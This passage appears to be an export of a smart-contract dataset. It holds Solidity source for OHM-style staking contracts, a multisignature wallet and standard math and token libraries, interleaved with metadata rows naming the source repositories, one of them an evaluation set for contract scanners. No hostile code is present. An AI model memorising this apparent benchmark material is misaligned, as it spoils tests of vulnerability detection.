require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TimeStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 74,749 | 12,049 |
b9e811b033777e0a7abb2ecf5a76f8243e5d3075bd1ea2e9c1d1fd6805725ad1
| 27,373 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/16/16c2510851E4b0f168794dceF596521641Bf99aA_IndexStaking.sol
| 4,197 | 16,920 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface ISindex {
function rebase(uint256 INDEXProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract IndexStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Index;
address public immutable sIndex;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Index,
address _sIndex,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Index != address(0));
Index = _Index;
require(_sIndex != address(0));
sIndex = _sIndex;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Index).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(ISindex(sIndex).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sIndex).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, ISindex(sIndex).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), ISindex(sIndex).balanceForGons(info.gons));
IERC20(Index).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sIndex).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Index).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return ISindex(sIndex).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
ISindex(sIndex).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = ISindex(sIndex).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Index).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sIndex).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sIndex).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 107,246 | 12,050 |
819340476b34c5466dc66fb539ba50b2d92b311f91e582d93f83ea4ceb16a6c2
| 12,871 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.6/0x68445b9e334374435b26ff75f4236b8a152ab9a6.sol
| 2,728 | 12,553 |
pragma solidity 0.4.23;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
uint constant public MAX_OWNER_COUNT = 50;
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
public
payable
{
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
| 210,043 | 12,051 |
271af4ed434803a7655a6319cc54d3f35709356062eb71b6124c32bea252d1a0
| 12,104 |
.sol
|
Solidity
| false |
606585904
|
plotchy/defi-detective
|
f48830b1085dac002283a2ce5e565e341aab5d0c
|
00byaddress/00c300c5ae4734abc8b19b71bb2f5f03e829dd4c.sol
| 2,921 | 11,345 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
